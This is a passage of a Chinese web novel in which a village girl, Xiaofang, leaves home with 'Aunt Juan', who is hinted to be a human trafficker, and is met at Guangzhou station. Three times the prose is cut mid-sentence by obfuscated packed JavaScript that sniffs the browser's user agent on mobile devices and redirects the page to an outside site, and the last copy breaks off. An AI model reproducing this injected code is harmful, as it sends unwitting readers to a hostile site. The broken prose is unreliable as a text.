“广州?”小芳在嘴里把这个地域名含热乎了再吐出来,她有点搞不明白了,小三儿不是去上海那边才认识了女朋友吗?娟姨难道不应该是上海那边的人吗? “姨,”小芳怯生生地问,“小三儿和你家穗穗不是在上海认识的吗?你们是从广州去上海的?” “嗐!” 小芳被娟姨这声从鼻腔里喷出来的鄙夷给弄怯了,她觉得那是对自己乡巴佬,缺世面的不屑。 娟姨把小芳的手抓过来一只,语重心长地说:“不是我说,妹子你上过高中,念过大学吗?北京、上海这些地方,不适合咱,要去就去广州、去深圳、去福州,没文化的外地人都涌去这些地方!” 小芳有点懂了,流水线也是看文化的,小三儿比自己大几岁,高中毕业没考上大学就去上海了,自己是初中毕业,去不到上海,上海多繁华,北京多气派! 她想,大概北京是首都,要的是大学生,上海低一点要高中生,她这种初中生再低一档去广州这些地方。 她清醒自己不是小学毕业就没读了,不然恐怕还要往下降,要是一点书都没沾,大字不识一个,那就只有和隔壁的翠翠一样,随便找个同样的乡下人,把一辈子糊弄完了事。 不怕,小芳心里给自己打气,自己是伍家村最漂亮、最聪明、最拿得出手的女子,广州怎么了?她总能一级一级登上去的,到时候一定接她妈风风光光去天安门,去爬长城,再说,就算在广州呆一辈子也比在伍家村好。 初中念的历史书上有广州,历史书上有伍家村吗? “姨,你真带我去广州吗?”小芳有些不信,非亲非故的,世上还有这种好人? “去啊,怎么不去?”娟姨扯扯她腿上的丝袜,不敢用力,怕把丝袜勾了。 小芳在一旁看她动作,这城里人穿的袜子到很像她们村里每年过年前准备的腊肠。 肥瘦均匀的猪肉撑着肠衣就是现在娟姨的腿肉撑着袜子的效果。 “姨,”小芳吞了口唾沫,壮着胆子说,“你咋对我那么好呢?” 意思是:我跟你一点关系都没有。 “啊?”娟姨这老人精怎么会听不出来?她也不瞒小芳了,“妹子,我也跟你说实话,你是不是就想去那流水线?” 想,小芳点头,做梦都想! 娟姨抱憾地叹口气,“我本来吧是想把你带到广州去,介绍给我那边的亲戚的,可你要是想去流水线我也不能硬摁着你就范啊!” “什么?”小芳“噌”地站起身来,往往她受到震惊就会做出这种不矜持的动作。 小芳心里又感动她又不信她,书里说的“一见如故”大致就是娟姨对自己吧?但是城里什么都有的男人怎么会愿意娶个一无所有的农村女人呢? “孩子,”娟姨瞄一眼就看穿了她,“你这山里跟不上外头,你不晓得现在外头的女孩有多坏,有多贪,你以为人人都像我女儿穗穗那样能看上小三儿那憨小子?城里男人都怕他们城里女人了,一个比一个现实,个个学得见钱眼开,结婚要谈钱,生孩子要谈钱,离婚要谈钱,婚离了过得不舒坦还要上前夫家门闹着要钱,你看看,这像什么话?!” 是很不像话,小芳赞同地点点头。 “所以,男人也学乖了,不如找个农村来的老婆,对她好一点,人家就知足了,巴心巴肝和你过日子,还不是城里女孩作的,现在风气颠过来了,农村女孩比城里的吃香!” 但小芳没被娟姨嘴里的美好前景打动,她这人生得犟,心里最开始种下的是什么,八头牛都拉不回来,嫁人?嫁人也要去把流水线干过再说!一个小时十几块呢! “硬是要去当女工?”娟姨见说不听她,又问了遍。 “嗯!”小芳用力地点点头。 “好嘛,”娟姨站起来拍拍身上,“我后天走,你跟家里说一声,把东西收拾好,到时候我来接你,不要带太多,城里什么都有。” 娟姨走了,小芳用足劲地掐了自己一把,不是做梦,后天,后天她就可以离开伍家村了。 惊喜来得太快,一点子准备都没有就砸在头上,小芳从凳子上站起来差点晕厥摔地上。 等傍晚小芳妈回来,看着桌上摆好饭,女儿却不见人,喊了一嗓子,才听见人在房间里。 小芳妈心下感到女儿自从昨天去粮油铺回来一趟,人就很不对劲,恍惚惚的,跟无主孤魂似的,她还以为是见着了以前拒绝过的小三儿挣了钱回来还带着城里来的女友,心里不得劲。 小芳妈这些年心里对女儿也愧怍,地就是地,种进去什么吐出来什么,种玉米,点豆子,收获了也不是金子,一年到头混口饭吃,有点结余就不错了,十几年狠力死命地干,也挣不出个金戒指金手镯的给女儿做嫁妆。 “芳,”小芳妈站她门口见她正在理衣服,一看就是心头不舒服给自己找事做,便弱弱地喊一声,“不吃饭?” “妈,你先吃!”小芳还要好好想下怎么把这个好消息告诉她妈,又怕她妈舍不得,自己走了,三间土房子就只剩她妈一个人,再被村里男人骚扰? 没这个可能性了,小芳想到这眼里有了泪意,她妈这些年实在老得快,地里刨一天,回来脸盆里水都是黑的,脸上的皱纹给足了泥土砂砾藏污纳垢的空间。 “妈知道,小三儿风风光光带个女娃回来,你心里不好受,都怪妈!” “妈!你说什么呢!”小芳这才反应过来,两个人现在想的完全不是一回事。 “你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630267|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为妈不知道!小三儿以前蠢模蠢样的,三岁了还学不会吞口水,口水帕子,他妈每天给他换十次,七岁了还尿床上!以前成天追着你屁|股后撵,现在好了,有钱了要做城里人女婿了,回来耀武扬威!不就是做给你看吗?!” 小芳妈固执地要把所有错误往自己身上揽,说不清是真自责还是自己先认错,女儿倒不好真怪她了,她还不知道女儿要去奔美好前程了,比跟着小三儿那个憨货有奔头得多! 小三儿算什么?他那个死鬼爹就是个老不死的,嫁进他们家,谁知道老淫|魔会不会找机会,钻缝隙轻薄儿媳妇? 小芳觉得只有没受过教育的伍家村的人才会做这种寡廉鲜耻的事,城里人从小就有人教道理,虽然他们看不起乡下人,但小芳想,就算是自己不也同样看不上伍三叔、伍老舅这些龌龊男人吗? 必须离开这个地方,不为自己也要为自己以后的孩子想,小芳才不愿意她的孩子小小年纪就要学着怎么对付上门占便宜的男人们! “不是,”小芳打断她妈一上头就没完没了的自我批评,“妈,你先去吃饭,我待会儿跟你商量件事!” 小芳妈搞不明白了,听女儿口气是没把自己放心里那件事放心上了,人老了都会不多不少的有怕子女的毛病,越是没本事要倚仗儿女的父母,越怕得厉害。 小芳妈识趣地住口了,走到桌子边准备吃饭。 这下屋里安静了,除了她妈吃饭发出的两片上下嘴唇互相碰撞的声音,啥也听不见。 小芳是后来跟着娟姨在火车站上吃方便面,被娟姨指出才明白,吃饭嘴巴发出声音,在城里人看来是极其没教养的一件事。 城里人吃饭讲究细嚼慢咽,不发出声,当然吃饭盯着自己碗里就行了,别一双眼比嘴还馋。 娟姨教的这些,她只说过一遍,小芳就硬生生地强迫自己全改掉了,十八年的习惯说改就改,为了融入城里,别说改掉这些本来就该根除的坏毛病,就是让她扒皮放血,脱胎换骨都行! 小芳把门关进,做贼似的从自己垫絮下把东西拿出来,那是她私下制作的胸|罩。 伍家村的女人不穿这些,小芳见过那些女人不管年轻时那对胸有多挺俏多美,只要一生了孩子或上了年纪,就跟失了弹性的橡筋般,松松垮垮地掉着,动作一大,一对下垂的胸晃得比人还忙。 她有点生理知识,她明白原因之一是伍家村的女人不戴胸|罩。 她到镇上赶集时,去唯一一家卖女人内衣的店里看过,有钢丝海和绵托着、包裹着的女人的胸,至少还能骄傲十年! 但那罩罩就是太贵了,一点布加上点海绵钢丝,卖起价来比一套衣服都贵。 可小芳是伍家村最聪明的人,她不会没有办法。 从镇上回来,她就把自己锁死在房间里,她记性好,见了一次就把它们的形状刻在脑海里了。 她用笔在废纸上画出她在店里最钟意的那件胸|罩的形状,画了几张,从中挑出最满意的,然后用结实又不易变形的尿素口袋比着画好的废纸裁剪出来。 钢丝海绵,跟着缝进去就行了,难不倒农村姑娘,就这样花了三晚上,小芳给自己做了三件胸|罩。 穿上身是不一样,小芳胸挺了,整个人也不自觉地把姿态端起来了。 小芳对着房间里那道碎片镜子叉着腰搔首弄姿地看,她发现这两年,她的身体就跟上了肥似的疯长,吃进去的饭全变成了饲料,胸起来了,腰圆润了,胯宽敞了。 小芳对女人天生的审美常识很清楚,这样的一副身子走到哪儿都是标致的,这样一副身子更不该暴殄天物地浪费在伍家村! 自从有了她的三件套,小芳除了睡觉,任何时候都戴上,这是她在伍家村能把青春延长留住的唯一办方法。 当然也有两点不方便,首先毕竟是尿素口袋,动作大了那种“哗啦”的塑料摩擦声是克服不掉的;其次,穿身上的东西不能不洗,这种贴身的自制衣物,洗了拿出来晾,比裤衩还丢人。 小芳只能每次洗了后,在胸|罩上搭一件衬衫或者外套遮盖着,她直到后来也没清楚她妈到底晓不晓得这件事。 小芳摩挲着这三个呵护了她身体最柔软也最美丽的老朋友,温存了好一会儿才又把它们找地方藏起来。 带到广州去?那还是不行的,被发现了,她会被人笑话死的。 5. 开拔 要走的那天,娟姨亲自跑到小芳家来接人。 小芳是所有女孩里待遇最高的,其他女孩都由她们自己去伍家粮油铺集合,然后娘子军部队随娟姨向广州开拔——广州是伍家村女孩们征服东南沿海的第一站,只有小芳是娟姨来领人的。 是的,娟姨这次跟上伍家村进货似的,一走就要带着四个女孩走,除了一个叫小扁的女孩实在长得不像话,其他三个都是伍家村有名的三朵金花。 小扁之所以叫小扁,就在于她生了一张扁脸,听人说是小时候被她爷爷不小心坐了一屁|股给坐扁的,不知真假。 小扁是真难看,眯成缝的肿泡双眼皮,鼻子从侧面看,整个山根到鼻梁一马平川,到鼻尖处又突然拔高了;她侧面不中,正面也拉胯,鼻子像猪娃那样翘出两个圆圆的孔,“用鼻孔看人”这句话放在小扁身上绝不会产生让人感到盛气凌人,被冒犯意思。 嘴也不行,小扁爹妈从小不怎么管她,所以她不讲卫生,小时候鼻子上老挂两串鼻涕泡,长到一定程度她就翘起上嘴唇抵住鼻涕,不让它们往嘴里流,然后猛地一吸。 小扁每天重复得最多的就是这个动作,导致她本就先天外翻的上嘴唇,被她自己锻炼得连嘴唇的最基本作用,遮盖牙齿都做不到了,外翻的上嘴唇让她的两颗门牙永远暴露在空气中。 她两颗门牙和外界接触久了一张口,你会明显发现,那两颗门牙要比其他牙齿颜色来得深些。 门牙也跟人一样,世面见多了,也就深沉了。 可就是这样一个不如人意的小扁,却是这四个女孩里唯一真正坐上流水线的,当然这是后话了。 “还没收拾好?”娟姨好脾气地问。 小芳妈是个农村妇女,这辈子没走出过县城,女儿第一次出远门就要跑到地图上、新闻上才能瞥见、看见的广州,全靠这个热心肠的娟姨。 小芳妈拿出自家的咸鸭蛋、煮鸡蛋、腊肉香肠,装好给娟姨。 娟姨也不客气地收下了,她说:“嫂子,你放心,孩子们在我手里,在外面我一定像她们亲妈那样照看着!” 说完,娟姨把一叠卷成一圈的十元二十元,最大的面值一百元的钞票塞到小芳妈手里。 可把小芳妈吓坏了,两个人打架似的你推我拒起来,小芳妈从没一次性见过那么多钱,她没弄清自己是被这巨额钞票给吓坏了,还是其他的什么,哪有帮忙带人出门,还倒给钱的? 不动脑子想,也该感到不对劲儿! “嫂子,”娟姨脸上不高兴,嘴里的话却说到小芳妈心坎上,“你想想,小芳走了,家里少个人就少个劳动力,你一个人哪有不用钱的?你就当这是小芳给我借的,这孩子踏实肯干还不怕吃苦,到了那边,流水线上坐半个月也就还我了,你不信我,还不信孩子吗?” 小芳也在旁边催促她妈,她觉得母亲是又让她窝心又让她丢人。 小芳妈非跟着要到伍家粮油铺,到了粮油铺小芳一看见小扁,差点没忍住眼里要喷发的惊讶,她以为随行的就只有玲玲、云川和自己,没想到还有小扁。 可转头又想,都说了去干流水线又不是去嫁人,凭什么人家小扁不能去? 一旁的娟姨在旁边跟小芳咬耳朵,“烦死我了,他爹妈昨晚上求着我把他们女儿带上,说孩子生得难看,留在这里也许不到好人家,不如到城里去碰碰运气,还倒要贴钱给我!” 小芳也觉得小扁爹妈说得对,留在伍家村能有什么出息呢? 漂亮的都没出息,更别提不漂亮的。 “娟姨,”到底是一个村的,小芳不忍让娟姨把小扁编排得太不堪,她扯开话头,“小三儿和你家穗穗不和我们一路?” 提起女儿,娟姨火气更大了,“穗穗要多在这里待几天,说来了没多久又要走不好,你又不是不知道,她那个公公又要明里暗里指责她看不上乡下人,还要连着小三儿一起骂!” 小芳忍不住吐槽伍老舅也同时讨好娟姨,“伍老舅这人真是,别人哪里看不上他?明明是他自己看不上自己,你看不上他们家会把穗穗送过来?” 粮油铺全是跟着来送行的伍家村老乡们,平日小芳如何讨厌他们不去提,这一刻心头还是温暖得近乎酸涩。 故乡就是令人这样矛盾,下定了决心要离开它,但临到要走又本能地想要把离去的步伐走得慢一点。 就在人多热闹嘈杂的时候,小三儿浑水摸鱼地跑过来了,。 他把小芳拉到一处偏角,朝她手里塞了几张面值颇大的钞票。 “你干什么?!”小芳不要,眼神做贼地般朝周围望,被穗穗看到了还得了?人家妈好心带她去广州,自己要出发了还和她男人纠缠不清。 “嘘!”小三儿压低声,“穗穗那懒猪还没起,你赶紧把钱收着,这是我背着她藏的私房钱,你没去过外面你不懂,要是一时半会儿找不到事做,钱是比在这里成倍地花。” 小芳想,他说得也对,但自己到底是有尊严也要强的,她把钱收下了又说:“等我回来了,你要是在我就还给你,你要是不在我就还给你爸!” “小芳,”小三儿过去那点蠢劲全没有了,取而代之的是另一种忧郁和不甘,“我就恨你这点,想对你好点,你总觉得我是要占你便宜。” 小芳心想,没办法啊,谁叫你是你爹的种,伍老舅那老不死的就是个不正经的。 “你和穗穗好事也要快了吧?”小芳问。 “嗯。”小三儿心不在焉地答。 “对人家好点,”小芳劝他,“毕竟人家城里生养长大的还愿意嫁给你!” “嫁给我怎么了?”小三儿不服气道,“嫁给我又不是嫁到村里来,我在上海现在也是手里管着人的主管,每个月工资是她三四倍,她还吃亏了?她妈可是给我下了死命令的,要想和穗穗结婚彩礼房子样样都要我出,她除了个城里身份还有什么?” 人人都当他进了城当女婿风光,这些牢骚他连和自己爹妈都没抱怨过,能说的想想还是只有一个青梅竹马的小芳。 “好了,”小芳轻轻拍拍他肩膀,老朋友般说,“要是让你再找个村里的你会愿意?” 小三儿还不死心地说:“小芳,早知道当初就该我们两个出去!” “甭提那些,”小芳就嫌弃他这点婆妈,没个男人样,“说这些干嘛?多少年前的老黄历了,现在说来有个屁用!” “小芳,”小三儿从没和她有过这么长时间的一对一交流,导致他想把这次谈话无限延长,“到了那边你可留点心眼,坏人多得很,记住火车站,汽车站这种地方,除了车票和车是真的,其他全是假的!” “人也有假?”小芳见以前木讷讷的小三儿出去见了世面也幽默起来,忍不住打趣道。 “你别不信我话,外头坏人多得是,人fan子你听没听过?要是遇上了,这辈子在你妈那里,你这个人就跟死了一样!” “有那么可怕?”小芳一刹那有点慌神了。 小三儿一点不夸张地说:“她们最爱拐卖女人和小孩,反正你到外面尤其注意别和陌生人说话,他们跟你说话你也别理,别人给的吃的什么一律不要,”到底是一个村的,他又补上一句,“和另外三个也说一声,不过小扁应该不会遇到,她那么贪吃,买她的人家还养不起。” 小芳暖心地点了点头,表示自己把小三儿的话听进心里了。 “不过有我丈母娘在,你们也该放心,她是个老人精了,只有她骗别人,别人哪能骗她?”说到这,小三儿的语气听不出是骄傲还是自嘲。 “你不是把人家女儿骗到手了?”小芳又笑他又夸他。 “胡说!”小三儿为自己辩白道,“我说是穗穗先喜欢上我的,你信不信?” “啊?”小芳当然不信。 那头他嘴里的老人精已经在喊人了,小三儿好不遗憾道:“算了,没时间讲那么多,等你过年回来了,我们再聊。” 小芳又嘱咐了他几句体贴穗穗的话就撇下他走了。 她就这样在全村人的欢送和注视下离开了村子,一次头都没回,她知道自己一回头就会看见母亲那张恋恋不舍的脸,那会让她走得无比艰难,一路都愁肠寸断。 小芳如果知道不久后伍家村就会成为她再回不去的故乡,她一定不会头都不回一次。 坐在去广州的火车上,小芳和玲玲、云川还有小扁,人都颠散了,这一路要不是娟姨,她们四个女娃连路都不知道该怎么走,车更不知道该怎么乘。 她们这一路来乘的交通工具,丰富性就只比小芳过去在伍家村拦车去镇上赶集的时候要欠缺点。 出了伍家村,四个女孩才知道世界原来这样大,广州原来这样远,要做那么多车,坐那么多天才能到达,不像伍家村靠一条腿走,半个钟头就能从村头晃到村尾。 这一路小芳一点马虎都不敢打,她逼着自己把来时的路线全部记清楚,不然下次回村她怕自己迷路了,哪里都能忘记,唯有老母尚在的故乡不行。 她们一行五个人一路来很引人注目,跟娟姨没关系,娟姨这类上了年纪的女人,粉盖得厚时还有几分徐娘半老的风韵,颠簸两下后,这白一块,那黄一片的脸倒更显憔悴了。 她们引人注目之处在于,这样四个少女朝你走来时,其中最难看的小扁在美人堆里竟然是最夺人眼目,在美的集体里,出现了唯一丑的东西,美就变得一般和普遍了,而丑是最特别的。 路人会在与她们擦身而过时脑里进行短暂的思考,是什么能让她在这个不属于自己的集体里驻足和停留? 而小扁,不仅是这个小集体里最难看的姑娘,后来也是她们中最幸运的姑娘,就是这点“丑”的特质,让她摆脱了“美”在娟姨手下沦落的命运。 在火车上的娟姨目前还是位热心肠的好人,她不仅要把姑娘们亲自带到广州去,还说:“下了火车站,我在广州认识的熟人会把你们直接带到厂里去,”她疲困地打个哈欠,“我就不跟着一起了,我还有点事要忙。” “啥?”小芳一下子想到小三儿嘱咐自己的话,立马担心道,“娟姨,你不带着我们,我们碰上人fan子怎么办?” 其他三个女孩也在来的路上听小芳说过,那时娟姨去上厕所人不在场,小芳没告诉她们是小三儿提醒自己,同村的玲玲、云川还有小扁还都夸道:“小芳不愧是我们村里最聪明、最有主意的!” 原谅小芳,女孩子嘛,尤其是漂亮的女孩子都会有些小小的、无伤大雅的虚荣心,是美女还是有脑子的美女,谁不愿意当? 听到“人fan子”三个字,娟姨脸上那两道印上去的眉毛突然凶狠了一瞬,也就那么一瞬,四个女孩都盯到了,但眨眼娟姨又还是那个有点烦她们又照顾她们的娟姨了。 所以四个女孩同时都没有多疑心,也没有彼此交换各自的疑心,都当自己是第一次出门紧张过头了,连恩人都疑心起来了,她们只当自己四个是乡巴佬,把娟姨麻烦得不耐烦了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630268|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小芳,你说你扯什么筋?把大家都吓一跳,来接你们的人都是娟姨我叫来的,你们不信人还不信娟姨我?” 信,当然信,四个女孩点头点得脸上肉直甩! “我跟你们说,到时候遇上了,你就问他,你叫什么,他叫什么,可别傻兮兮地问‘你是不是娟姨叫来的?’,人家还能不说‘是’?” 女孩们又点点头,小芳心里却想,这些小把戏,不用娟姨教,她自己也清楚,她还有更高明的办法去证明呢! 娟姨清了清喉咙,分配任务似的说道:“玲玲,接你那个叫李大强;云川,你那个叫郝梁栋;小芳,你的叫王国富;至于小扁嘛,跟我走,我给你找的那个厂,离我要去的地方近,顺带捎你一路了。” “什么?!”四个女孩同时叫了起来,一火车的人都回头了。 娟姨马上让她们闭嘴,拿出了她们最怕被指摘的话,“你以为这是在你们伍家村,大呼小叫的,别人会嫌你们没教养!” 姑娘们老实羞愧地闭嘴了,她们还不懂,狡猾的娟姨这时是心虚怕她们动静大把乘警或者乘务员引来,这些人可不如小姑娘们好对付。 火车厢里的人很快又自顾自地干自己的事了,吃饭、嗑瓜子花生、唠嗑、睡觉,坐火车上,也就只能干这几样事。 娟姨那张嘴,糊弄人糊弄油了,这几个姑娘算什么? 她解释道:“你们以为现在那么容易找到事做?全国各地那么多乡里村里的人涌出来,哪有那么多工位给你们?你们还想得美,还四个人都在一个厂里干?凑一桌打麻将啊?怎么不四个都找一个男人嫁了?能找到事做就不错了!” 嗯,女孩们心想,是想得有点美,出门在外无依无靠的,她们在伍家村关系一般,甚至时不时还你嫉妒一下我,我贬低两句你,出了趟门四个人抱团,三两天功夫,感情升温得比过去十几年都快! 老话说得好:一致对外! “听见没有?!”娟姨不满意她们不回应自己。 四个女孩跟被长官训话的新兵蛋子似的,到了新环境,除了服从,什么也不敢多想。 快要到广州火车站了,娟姨催促她们,“赶紧去厕所把我送给你们的衣服鞋子换上,现在人太多了,城里都被你们挤爆了,人家招工也要挑看得过去的,伍家村穿出来的这身衣服不合适。” 在路上中途下车时,娟姨带她们去了卖女人内衣的店子,她说:“城里不像农村,穿得薄,你们要是不戴,什么都让人家看明白了!” 小芳倒是比另外三个镇定,娟姨给她们挑的胸|罩和她自己做的,除了材料不同,还有背上多三个钩子以外,没太大区别。 小芳穿上身,习惯得很,这两坨肉还是少给它们些自由好。 出了内衣店,娟姨又带她们去当地一家服装店给一人买了套衣服,小芳的是件及膝的碎花连衣裙,可以把她的细腿露出来,裙子背后还有两根长飘带,穿上了系个蝴蝶结,把腰线收出来,美得很! 小芳、玲玲还有云川都是很美的女孩子,漂亮衣服是不挑美女的,小扁就困难了,卖货老板娘都头痛,情愿不做她这桩生意,再多姿的衣服裙子穿她身上也被她给埋汰了。 最后还是挑了套经用的衬衫和裤子,这种平平无奇的款式在她身上最不会出错。 在服装店的时候,娟姨就说了,要等快到广州火车站时再穿,这些衣服不经皱,穿了颠一路,全新也成半旧了。 小芳是最后一个进厕所换衣服的。 火车上的厕所要上你就刚出发时趁早上,越拖到后头进去,越败你上厕所的兴致。 人类排泄物的味道在这转不开身子的狭窄空间里,浓度尤其高和纯,地上还有比水粘稠的液体。 不过小芳农村姑娘,农村的厕所可比这里脏多了,至少火车厕所里的污秽物不会像农村里那样沤出蛆虫来。 小芳换的时候她发现了自己胸处的猫腻,上衣内衬贴胸的地方,有被缝合的痕迹,她拿手摩挲两下就明白了,是她妈不知什么时候趁她没留意给缝进去的钱。 还是一张一张叠整齐铺平了给放进去的,难怪,小芳想,明明没戴胸|罩,怎么会一路都有戴了的感觉,原来是她妈给她准备的金钱罩。 无愧母女一场,小芳感喟,她妈从来都是不声不响的,却居然把自己什么都摸透了,也许自己就继承了年轻时母亲那点不安分和风|骚,不然伍家村那么多勤劳肯干的,她妈怎么就偏看上她那死鬼爹呢? 不过她觉得,她妈给她准备的金钱罩,这由钞票材质做成的倒是比塑料的戴起踏实。 小芳抱着衣服感动了好一阵,后悔走时没回头更没拥抱下她妈,亲情骨肉的羞涩总让她做不出像穗穗对娟姨那样的亲密 她和母亲总是用互相推拒的方式来表达爱,比如吃碗面,她妈碗里的多了总要弄个碗盛出来给小芳留着,小芳就说:“你再这样颠来倒去,那点油荤都要给你颠没了!”,她妈才会讪讪笑着把面吃进去。 小芳回忆了母亲好久才想起来自己进来是为了换衣服的。 火车厕所的镜子不能容小芳换完衣服后轻移莲步走动着看,于是她只能对着镜子原地踏步看不够似的地看,还是外面等的人不耐烦敲了好几下门,才把她给叫出来。 外头的人本来准备在她出来时骂两句,可等看到出来的是个水灵灵的大姑娘,倒是愣得收口了。 小芳心里那个美哟,谁还认得出这是个从伍家村出来的农村姑娘呢? 6. “站住!” 小芳坐在行李上等来接她的王国富,她对这个人从原有的期待到焦心再到现在的烦躁。 要不是看着娟姨走后,随行的玲玲、云川都被她们的李大强、郝梁栋给接走了,小芳险些要认为自己是上了娟姨的当了。 下了广州的火车站是下午一点过,四个钟头过去了,要是天气冷点,在伍家村已经可以准备吃完晚饭上铺睡觉了。 小芳知趣地把自己和行李安置在车站的一个角落。 角落不扰人。 因为就在不久前她杵在显眼地带,碍人眼又碍人脚地等着王国富,结果王国富没等到,白眼倒是挨了不少。 终于有个手里抱娃的,没注意踩了她一脚,小芳还来不及呼痛,那女人先骂起来。 偌大一个地方,小芳恨不得自己掘个地缝钻,都怪那该死的王国富! 可就是小芳浑身懂事地把自己藏到角落里了,候车室的人还是不放过她。 一个横眉吊眼,没好脸色的人,身穿火车站制服,带着檐帽,左手提着个小芳没见过但盲猜应该是簸箕之类的东西,不过在伍家村簸箕是竹篾条编的,她提的是铁的,右手拿着把扫把,浮皮潦草地扫着地上的花生瓜子壳和烟头果皮一类的垃圾。 她动作仿佛扫不扫干净不重要,重要的是在扫。 没办法垃圾桶已经满了,只能往地下扔,再说有些人的素质,除非你把垃圾桶焊在他下巴处,否则他们还是要往地下扔。 扫地的女人每天都被这些缺乏素质的人折磨,机械又重复地常年保持一个动作,脸上也永久地挂上了厌烦的表情。 这么脏的地上,仍然坐着、躺着人,小芳想,伍家村的人都比他们讲卫生! 她第一次发现了外面不如伍家村的地方,以后她还会发现更多。 扫地的女人对坐地下的人没好气说两句,躺地上的她就更不客气了,要么用扫帚像对待垃圾般戳戳他们,要么干脆上脚踢两下,反正这些人也把他们自己当垃圾扔地上。 “起来!都给我起来!”整个候车室回荡着她的声音。 人们有的听话起来,有的装死人不挪地,当然起来的也只是换个地方又坐下或者躺下。 小芳很理解她,跟这些人打交道久了,谁都要疯。 很快,遭扫地女人训斥的就是小芳了,女人可不管小芳理不理解自己,在她眼里,窝在一角的小芳,同这些人一样讨厌! “起开!”她凶悍地喊一声,“我要扫地!” 小芳觉得她就是有意找碴的,自己就是见这个角落干净又不扰人才挪过来的,但小芳还是提着行李迅速移开了。 果然女人扫了后,这地比没扫前更脏,那扫地婆娘是知道自己和刚才被她赶的人是一路货色,赶走了又要回来的,所以存心恶心自己。 小芳也有点恶心自己了,恶心自己几分钟前对她的一点理解,还恶心自己就是他妈的死皮赖脸、厚着脸皮在这里等着王国富,在伍家村谁让她这么窝囊、委屈地等过? 小芳失意地坐行李上,躬下身把头搁在膝盖上,双手环抱自己屈起的腿,用这个近似婴儿还在母体的姿势拥抱着自己。 她这刻想到了小三儿,他刚到上海的时候也是像自己这样无助又无奈吧? 就在这个离伍家村天远地远,全然陌生的广州火车站候车室,小芳第一次因为小三儿,也第一次因为一个男人,心里产生了一阵阵作痛的哀恋,穗穗一定要好好对他才是啊。 几天来赶路的疲倦都在这一刻,小芳最脆弱的时候侵袭了她。 小芳强打起精神,她脑海里一直回荡着小三儿的话,大城市那么多坏人,自己这下要是没忍住睡着了,再醒来就不晓得是什么地方了。 现在就是让她照着原路回伍家村她都不一定能把路记清,更别提睡着了被人弄到其他地方去,那时候就真像小三儿说的,在伍家村她这个人就跟死了一样,再回不去了。 不为着在广州混出名堂,就为了能再回到伍家村,她伍小芳也不能盹着,她还有老母等着她。 再说自己可是整个伍家村八十多户里最聪明的姑娘,她要是都被骗了,那伍家村其他人也没救了。 就在小芳脑子里思维激烈挣扎着和瞌睡打斗,争夺身体控制权时,一双被油刷得发亮的皮鞋进入她低垂的视线。 视线随着皮鞋往上,在到下巴处时他的着装就被小芳看完了,他不仅仅是城里人,还样子还是在城里过得很好的人,挺拔的瘦高个。 他是王国富? 小芳再继续仰脖,期间她希望男人的脸不要让她失望,否则对着一张不中看的脸,她不确定自己会不会当场发作脾气。 嘿,这张脸还真没让她失望,好看是真好看,要是伍家村,脸的等级也是和她爹老伍一个级别。 小芳想,幸好这人没生在伍家村,不然她大概率也要在这男人身上重蹈她妈当年看上她爹的错误,然后被男人孩子拖死一辈子,再也走不出那块长不出金子的土地。 “你是伍小芳?”他对她笑笑,很邪气的笑,像知道自己的笑有多招女人爱和烦那样。 “你是哪个?”小芳用不太标准的普通话答道。 普通话小芳还是有接触的,初中学校的语文老师是当年为了爱情留下来没跟着回去的知青,整个镇上唯一的北京人! 他教学生们,是“人”不是“淫”,是“肉”不是“儒”,是“白”不是“八”。 小芳当年还在上学时,十分想问他后悔吗?可又从不知谁嘴里听见,语文老师宁愿在学校破烂教师宿舍里睡破草席也不愿意回家,她就知道老师后悔了。 爱情这玩意儿不经用,到中年就给消磨完了! “你说我是哪个?”他不正经地跟小芳耍逗起来了。 小芳用在火车上娟姨叮嘱她们注意时自己的小心机应付他,“你是罗小强?” 果然,他满目疑惑地看着小芳,“罗小强是谁,孟娟难道还叫了其他人来接你?” 娟姨叫孟娟,这点小芳知道。 “那你是谁!你不说清楚,我不跟你走!”小芳强硬道。 “你说我是谁?我是王国富!孟娟叫我专门来接你去工厂看看。” “我就晓得!”小芳精神地从行李上站起来了,几个钟头吃罪的、受人白眼的等待她也抛之脑后了。 “你这丫头!”王国富反应过来了她那点小聪明,弹了下她额头道,“看来不是个做摆设的花瓶嘛!” 小芳那颗还没为异性悸动过的心随着王国富刚才那一下弹,突然收缩了一下。 年轻的男人女人间,这个动作放在不管城里还是村里都是表达亲密的,但她却没感到冒犯。 小芳离开伍家村后第一次昏头就栽在王国富身上。 “走!”王国富一把提过她行李,“我带你去吃饭,等我那么久肯定饿了吧,我今天来晚了,我赔罪!” 别看王国富瘦,那手臂还很有力,小芳这种在农村干活久了的都要两手提的行李,他一只手就不费劲不喘气地接过了! “王国富!”小芳小媳妇般跟在他身后,叫了他名字一声,语气里饱含的娇怯脱出口,把她自己都弄羞了。 “怎么了?”王国富像被女人这样喊惯了似的,一点没察觉地问。 “你长得一点都不像王国富!”小芳说。 小芳刚从娟姨那里听到接自己的人是王国富时,顿时就把这个人划分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 